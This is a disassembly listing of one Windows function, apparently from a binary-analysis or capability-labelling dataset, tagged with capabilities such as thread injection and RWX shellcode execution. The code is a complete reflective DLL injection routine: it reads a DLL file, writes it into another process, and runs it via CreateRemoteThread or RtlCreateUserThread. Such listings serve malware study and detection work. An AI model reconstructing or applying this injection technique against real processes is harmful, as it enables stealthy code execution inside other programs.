Function at 0x140001ec0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Execute shellcode via indirect call
Get file size
Get system information on windows
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rdi
sub rsp, 0x128
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rsp + 0x110], rax
cmp dword [0x140023d24], 0
mov rbx, rdx
mov rdi, rcx
jne 0x140001f14
lea rcx, [0x140023d20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [0x140023d24], 0
jne 0x140001f14
lea rcx, str.ReflectiveInjectDllViaThread:_Failed_to_obtain_system_page_size
call fcn.140001320
xor eax, eax
jmp 0x140002215
mov qword [rsp + 0x150], rbp
xor r9d, r9d
mov qword [rsp + 0x158], rsi
xor r8d, r8d
mov qword [rsp + 0x120], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400021fb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
lea r9d, [r14 + 4]
mov r8d, 0x3000
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x1400021fb
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], r14
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400021fb
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140001fe3
lea rcx, str.ReflectiveInjectDllViaThread:_Failed_to_allocate_buffer_in_target
jmp 0x1400021f6
lea rax, [rsp + 0x60]
mov r9, rbx
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400021ef
cmp qword [rsp + 0x60], rbx
jne 0x1400021ef
mov rcx, rbp
call fcn.1400017d0
lea rcx, [rsp + 0x70]
mov ebx, dword [rax + 0x28]
add rbx, rsi
mov dword [rsp + 0x70], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x140002043
lea rcx, str.ReflectiveInjectDllViaThread:_Failed_to_get_OS_version
jmp 0x1400021f6
cmp dword [rsp + 0x74], 6
jae 0x1400020f6
mov qword [rsp + 0x30], r14
mov r9, rbx
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140002084
lea rcx, str.ReflectiveInjectDllViaThread:_CreateRemoteThread_failed
jmp 0x1400021f6
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [0x140023d24]
mov r9d, 0x8000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [rsp + 0x58]
test ecx, ecx
je 0x1400020e0
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.ReflectiveInjectDllViaThread:_CreateRemoteThread_injection_failed
jmp 0x1400021f6
lea rcx, str.ReflectiveInjectDllViaThread:_Successfully_injected_Dll_into_process_via_CreateRemoteThread._n
call fcn.1400011f0
mov eax, 1
jmp 0x1400021fd
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
xor r9d, r9d
mov qword [rsp + 0x38], r14
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov qword [rsp + 0x28], r14
mov rcx, rdi
mov qword [rsp + 0x20], r14
call rax
test eax, eax
jns 0x140002158
mov qword [rsp + 0x50], r14
lea rcx, str.ReflectiveInjectDllViaThread:_RtlCreateUserThread_failed
jmp 0x1400021f6
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400021dc
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [0x140023d24]
mov r9d, 0x8000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [rsp + 0x58], r14d
jne 0x1400021dc
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlNtStatusToDosError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [rsp + 0x58]
call rax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.ReflectiveInjectDllViaThread:_RtlCreateUserThread_injection_failed
jmp 0x1400021f6
lea rcx, str.ReflectiveInjectDllViaThread:_Successfully_injected_Dll_into_process_via_RtlCreateUserThread._n
call fcn.1400011f0
mov eax, 1
jmp 0x1400021fd
lea rcx, str.ReflectiveInjectDllViaThread:_Failed_to_write_image_to_target
call fcn.140001320
xor eax, eax
mov rsi, qword [rsp + 0x158]
mov rbp, qword [rsp + 0x150]
mov r14, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140003c30
add rsp, 0x128
pop rdi
pop rbx
ret